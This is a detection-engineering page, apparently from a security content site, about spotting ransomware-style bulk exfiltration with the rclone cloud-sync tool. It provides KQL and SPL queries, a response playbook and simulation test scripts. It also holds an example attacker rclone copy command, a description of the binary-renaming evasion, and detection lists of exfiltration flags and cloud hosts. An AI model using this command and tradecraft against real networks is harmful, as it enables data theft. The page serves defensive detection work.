Automated Exfiltration — Automated Bulk Data Exfiltration via rclone Cloud-Sync Tooling
rclone is a legitimate, widely-used open-source command-line tool for syncing files to more than 40 cloud storage backends (Mega, pCloud, Backblaze B2, Dropbox, S3-compatible endpoints, WebDAV, SFTP). Its portability, single-binary distribution, and broad backend support have made it the exfiltration tool of choice for ransomware affiliates during the double-extortion phase of an intrusion: rather than manually uploading files one at a time, the operator drops rclone (often renamed to blend in — svchost.exe, winupdate.exe, or similar), stages an attacker-authored rclone.conf pointing at a throwaway cloud account, and issues a single scripted command such as `rclone copy C:\staged\ remote:bucket --transfers=32 --multi-thread-streams=4` against previously staged data. From that point the entire transfer proceeds automatically with no further operator interaction — the defining trait of MITRE ATT&CK T1020 (Automated Exfiltration), which describes exfiltration performed automatically after data has been collected/staged, as distinct from T1029 (Scheduled Transfer, a recurring cron/task-scheduler-driven pattern already covered elsewhere in this corpus) and distinct from cloud control-plane grant abuse (T1537, where data is transferred by re-permissioning a victim-owned cloud resource rather than pushing bytes through a client tool). Conti, LockBit affiliates, BlackCat/ALPHV affiliates, and Cl0p have all been widely documented using rclone in this exact pattern immediately prior to ransomware deployment, making its appearance on an endpoint — especially a server or file share host with no legitimate business reason to run cloud-sync software — a high-confidence precursor to both data leak and imminent encryption.
What is THREAT-Rclone-AutomatedCloudSync Automated Bulk Data Exfiltration via rclone Cloud-Sync Tooling?
Automated Bulk Data Exfiltration via rclone Cloud-Sync Tooling (THREAT-Rclone-AutomatedCloudSync) is a sub-technique of Automated Exfiltration (T1020) in the MITRE ATT&CK framework. It maps to the Exfiltration tactic — the adversary is trying to steal data.
This page provides production-ready detection logic for Automated Bulk Data Exfiltration via rclone Cloud-Sync Tooling, covering the data sources and telemetry it touches: Process: Process Creation, Microsoft Defender for Endpoint (DeviceProcessEvents). The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Exfiltration
let LookbackWindow = 24h;
let RcloneCommandIndicators = dynamic([
"rclone.conf", "--multi-thread-streams", "--transfers", "--bwlimit", "copy remote:", "sync remote:", "config create"
]);
DeviceProcessEvents
| where Timestamp > ago(LookbackWindow)
| where ProcessVersionInfoOriginalFileName =~ "rclone.exe"
or InitiatingProcessCommandLine has_any (RcloneCommandIndicators)
or ProcessCommandLine has_any (RcloneCommandIndicators)
| extend RenamedBinary = FileName !~ "rclone.exe" and ProcessVersionInfoOriginalFileName =~ "rclone.exe"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessVersionInfoOriginalFileName,
ProcessCommandLine, InitiatingProcessFileName, RenamedBinary
| sort by Timestamp descFlags process execution where the PE's original filename metadata (ProcessVersionInfoOriginalFileName) identifies it as rclone.exe regardless of the on-disk filename — catching the common ransomware-affiliate pattern of renaming the binary to blend in — or where the command line contains rclone-specific configuration and transfer flags. Server and file-share hosts are the highest-value targets for this detection since they rarely have a legitimate reason to run cloud-sync software.
Data Sources
Required Tables
False Positives
- IT/backup teams intentionally using rclone for legitimate cloud-storage synchronization or migration — should be documented and excluded by host name and destination remote name
- DevOps automation that uses rclone to publish build artifacts to an approved cloud storage bucket
- Power users syncing personal cloud storage on a workstation where local software policy permits it
- Security or backup vendor tooling that bundles rclone as a dependency for their own approved backup product
Sigma rule & cross-platform mapping
The detection logic for Automated Bulk Data Exfiltration via rclone Cloud-Sync Tooling (THREAT-Rclone-AutomatedCloudSync) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windowsBrowse the community-maintained Sigma rules for this technique:
Platform-specific guides for THREAT-Rclone-AutomatedCloudSync
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulated Renamed rclone Binary Execution with Transfer Flags
Expected signal: Sysmon Event ID 1 / DeviceProcessEvents: winupdate.exe executing with ProcessVersionInfoOriginalFileName='rclone.exe' and a command line containing 'copy', 'remote:', '--multi-thread-streams', and '--transfers'.
- Test 2Simulated rclone.conf Creation
Expected signal: Sysmon Event ID 11 (FileCreate) / DeviceFileEvents: rclone.conf created under %APPDATA%\rclone\ by powershell.exe.
- Test 3Bulk File Staging Followed by Sustained Cloud-Provider Connection
Expected signal: File creation events for the staged archive under /tmp, followed within seconds by five outbound network connection events (Sysmon-for-Linux Event ID 3 / auditd) from curl to the test endpoint.
Response Playbook
Triage
- Confirm whether rclone (or a process whose PE original-filename metadata identifies it as rclone) is a documented, approved tool on this host — check against an internal inventory of authorized backup/sync software and the destination remote name against approved cloud accounts.
- If unrecognized, check the binary's location, hash, and signature — ransomware-affiliate rclone drops typically land in %TEMP%, %ProgramData%, or a newly created directory on a file share or backup server, not a standard install path.
- Retrieve the associated rclone.conf (often dropped alongside the binary or under %APPDATA%\rclone\) to identify the destination remote type (Mega, pCloud, Backblaze B2, SFTP) and any embedded credentials — these are directly reusable for takedown/legal requests against the destination provider.
- Correlate with file-staging activity (DeviceFileEvents / Sysmon Event ID 11) in the hours preceding execution — ransomware operators typically archive or copy target data to a staging directory immediately before running rclone against it.
- Check process ancestry: rclone launched by a remote-access tool (Cobalt Strike beacon, AnyDesk, a PsExec-spawned shell) rather than an interactive console session strongly indicates an intrusion in the ransomware pre-encryption phase rather than legitimate IT use.
- If the transfer appears complete (process exited normally after a sustained run), assume the staged dataset has left the environment — rclone's default behavior is a full synchronous copy with no partial-completion ambiguity for a normally-exiting process.
Containment
- Isolate the affected host via EDR network isolation immediately — rclone execution on a server or file-share host with no legitimate business use is a strong precursor signal for imminent ransomware deployment, not just data theft.
- Block the destination cloud provider's known endpoints (Mega.nz, pCloud, Backblaze B2, or the specific SFTP/WebDAV host from the recovered rclone.conf) at the perimeter firewall.
- Kill the rclone process tree if the transfer is still in progress, and preserve the process memory/command line before termination for forensic review.
- Hunt across the environment for the same binary hash, rclone.conf destination, or parent-process pattern on other hosts — affiliates typically stage from multiple hosts in a short window before detonating ransomware.
- Treat this as an active-intrusion, not a policy-violation, incident: engage incident response and assume ransomware deployment is imminent unless proven otherwise.
Evidence Collection
- The rclone binary itself (hash, PE metadata, original filename) and its recovered rclone.conf configuration file, including the destination remote type and any embedded credentials.
- Full process creation record (Sysmon Event ID 1 / DeviceProcessEvents) including command line, parent process, and account context.
- File-staging artifacts (archive files, copied directories) created in the hours preceding rclone execution, to scope exactly what data was targeted.
- Network connection records (Sysmon Event ID 3 / DeviceNetworkEvents) for the destination cloud provider's IP ranges, to establish transfer duration and approximate volume.
- Any remote-access tooling (C2 beacon, RMM software) found in the process ancestry, for broader intrusion timeline reconstruction.
Escalation Criteria
- ! rclone (or a renamed equivalent) is found executing on a domain controller, backup server, or any host holding bulk sensitive data — escalate to incident response as a likely pre-ransomware staging event.
- ! The recovered rclone.conf destination or credential pattern matches known ransomware-affiliate infrastructure.
- ! Process ancestry shows rclone launched from a remote-access tool or living-off-the-land binary chain consistent with an active intrusion rather than IT automation.
- ! The same rclone execution pattern appears across multiple hosts within a short window — treat as organization-wide compromise requiring immediate leadership notification given the near-certain ransomware follow-on.
Investigation Guide
Forensic Artifacts
- >
Sysmon Event ID 1 (Process Creation) / DeviceProcessEvents for the rclone execution, including PE original-filename metadata for renamed binaries. - >
The rclone.conf configuration file (typically under %APPDATA%\rclone\ or alongside the binary), containing the destination remote type and credentials. - >
Sysmon Event ID 3 (Network Connection) / DeviceNetworkEvents for the sustained outbound connection to the cloud provider's endpoint during the transfer. - >
File staging artifacts (archives, copied directories) created shortly before rclone execution. - >
Prefetch and Shimcache entries for the rclone binary, useful for establishing first-execution time even if the binary has since been deleted.
Tuning Guidance
Build and maintain an inventory of hosts and service accounts with a legitimate, documented need to run rclone (backup automation, DevOps artifact publishing) and exclude them by host name plus destination remote name — excluding by process name alone is insufficient since the binary is frequently renamed. Prioritize this detection heavily on server-class assets (file shares, backup servers, domain controllers) where legitimate rclone use is rare and the technique's association with imminent ransomware deployment is highest; on general workstations where personal cloud-sync use may be tolerated by policy, treat matches as lower urgency but still worth reviewing. The PE original-filename check (ProcessVersionInfoOriginalFileName / Sysmon OriginalFileName) is the highest-value single field in this pack since it survives the near-universal renaming operators apply to evade name-based detection.
Hunting Queries
Hunts directly for creation of the rclone.conf configuration file, independent of process-creation logging — useful when process telemetry has gaps but file-creation auditing is intact, since the config file is a required artifact for any rclone remote-based transfer.
// Hunt for rclone.conf file creation events, independent of process execution telemetry — catches cases where process logging is incomplete
DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName =~ "rclone.conf"
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, FolderPath
| sort by Timestamp descindex=sysmon EventCode=11 TargetFilename="*rclone.conf"
| table _time, host, user, process_name, TargetFilename
| sort - _timeHunts for sustained connection volume to cloud providers commonly used as rclone exfiltration destinations (Mega, pCloud, Backblaze B2), surfaced by process rather than by binary name to catch renamed or previously-unseen rclone drops.
// Hunt for sustained, high-volume outbound connections to known rclone-favored cloud provider IP ranges from server-class hosts
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any (dynamic(["mega.nz", "pcloud.com", "backblazeb2.com", "b2.backblazeb2.com"]))
| summarize ConnectionCount = count(), TotalDurationProxy = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp) by DeviceName, InitiatingProcessFileName
| where ConnectionCount >= 5
| sort by ConnectionCount descindex=proxy OR index=web (url="*mega.nz*" OR url="*pcloud.com*" OR url="*backblazeb2.com*")
| stats count as ConnectionCount by host, process_name
| where ConnectionCount>=5
| sort - ConnectionCountAtomic Red Team Tests
Simulates a ransomware affiliate's rclone staging step by copying a real rclone binary under a benign-sounding renamed filename and executing it with typical transfer flags against a local test directory, validating that PE original-filename detection catches the binary regardless of its on-disk name.
Command
$TestDir = "$env:TEMP\atomic_rclone_test"
New-Item -ItemType Directory -Path $TestDir -Force | Out-Null
# Note: requires a real rclone.exe placed at $TestDir\rclone.exe for PE metadata to be authentic; substitute a copy of powershell.exe if rclone is unavailable for a command-line-only validation of this atomic test.
if (Test-Path "$TestDir\rclone.exe") {
& "$TestDir\rclone.exe" --version | Out-Null
Copy-Item "$TestDir\rclone.exe" "$TestDir\winupdate.exe" -Force
Start-Process -FilePath "$TestDir\winupdate.exe" -ArgumentList "copy", "$TestDir", "remote:test-bucket", "--multi-thread-streams=4", "--transfers=8", "--config", "$TestDir\rclone.conf" -NoNewWindow -Wait -ErrorAction SilentlyContinue
}
Write-Host 'Atomic test complete: renamed rclone execution with transfer flags simulated'Cleanup
Remove-Item "$env:TEMP\atomic_rclone_test" -Recurse -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 1 / DeviceProcessEvents: winupdate.exe executing with ProcessVersionInfoOriginalFileName='rclone.exe' and a command line containing 'copy', 'remote:', '--multi-thread-streams', and '--transfers'.
Expected Detection
KQL/SPL detection flags the execution based on ProcessVersionInfoOriginalFileName/OriginalFileName matching rclone.exe despite the renamed on-disk filename, and independently on the command-line rclone indicators.
Simulates the configuration-staging step of an rclone-based exfiltration by writing a synthetic rclone.conf file containing a fake remote definition, validating the file-creation hunting query independent of process-execution telemetry.
Command
$ConfigDir = "$env:APPDATA\rclone"
New-Item -ItemType Directory -Path $ConfigDir -Force | Out-Null
@"
[test-remote]
type = webdav
url = https://127.0.0.1:8443/dav
vendor = other
user = atomictest
pass = synthetic-$(Get-Random)
"@ | Out-File -FilePath "$ConfigDir\rclone.conf" -Encoding ascii
Write-Host 'Atomic test complete: synthetic rclone.conf created'Cleanup
Remove-Item "$env:APPDATA\rclone\rclone.conf" -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 11 (FileCreate) / DeviceFileEvents: rclone.conf created under %APPDATA%\rclone\ by powershell.exe.
Expected Detection
The rclone.conf file-creation hunting query flags the new configuration file independent of any process-execution telemetry gap.
Simulates the staging-then-transfer pattern by creating a synthetic archive and then opening a sustained set of connections resembling traffic to an rclone-favored cloud provider, validating the file-staging correlation and connection-volume hunting query on Linux server-class hosts.
Command
mkdir -p /tmp/atomic_rclone_stage && for i in $(seq 1 5); do echo "synthetic-data-$i" > /tmp/atomic_rclone_stage/file_$i.txt; done
tar -czf /tmp/atomic_rclone_stage.tar.gz -C /tmp/atomic_rclone_stage .
for i in $(seq 1 5); do curl -s -k -m 3 https://127.0.0.1:8443/ -o /dev/null || true; done
echo 'Atomic test complete: staged archive followed by simulated sustained cloud-provider connections'Cleanup
rm -rf /tmp/atomic_rclone_stage /tmp/atomic_rclone_stage.tar.gzExpected Telemetry
File creation events for the staged archive under /tmp, followed within seconds by five outbound network connection events (Sysmon-for-Linux Event ID 3 / auditd) from curl to the test endpoint.
Expected Detection
The sustained-connection-volume hunting query flags the repeated outbound connections; the file-staging triage step correlates the archive creation immediately preceding the connection burst.